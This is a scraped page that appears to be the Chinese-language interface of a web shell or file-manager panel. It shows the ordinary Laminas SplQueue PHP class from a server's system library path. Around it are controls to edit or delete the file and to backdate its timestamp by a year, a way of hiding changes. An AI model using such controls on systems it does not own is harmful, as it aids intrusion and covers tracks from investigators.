文件操作 - SplQueue.php
返回文件管理
返回主菜单
删除本文件
文件: /usr/share/php/Laminas/Stdlib/SplQueue.php
编辑文件内容
<?php declare(strict_types=1); namespace Laminas\Stdlib; use ReturnTypeWillChange; use Serializable; use UnexpectedValueException; use function is_array; use function serialize; use function sprintf; use function unserialize; /** * Serializable version of SplQueue * * @template TKey of array-key * @template TValue * @extends \SplQueue<TValue> */ class SplQueue extends \SplQueue implements Serializable { /** * Return an array representing the queue * * @return list<TValue> */ public function toArray() { $array = []; foreach ($this as $item) { $array[] = $item; } return $array; } /** * Serialize * * @return string */ #[ReturnTypeWillChange] public function serialize() { return serialize($this->__serialize()); } /** * Magic method used for serializing of an instance. * * @return list<TValue> */ #[ReturnTypeWillChange] public function __serialize() { return $this->toArray(); } /** * Unserialize * * @param string $data * @return void */ #[ReturnTypeWillChange] public function unserialize($data) { $toUnserialize = unserialize($data); if (! is_array($toUnserialize)) { throw new UnexpectedValueException(sprintf( 'Cannot deserialize %s instance; corrupt serialization data', self::class )); } $this->__unserialize($toUnserialize); } /** * Magic method used to rebuild an instance. * * @param array<array-key, TValue> $data Data array. * @return void */ #[ReturnTypeWillChange] public function __unserialize($data) { foreach ($data as $item) { $this->push($item); } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件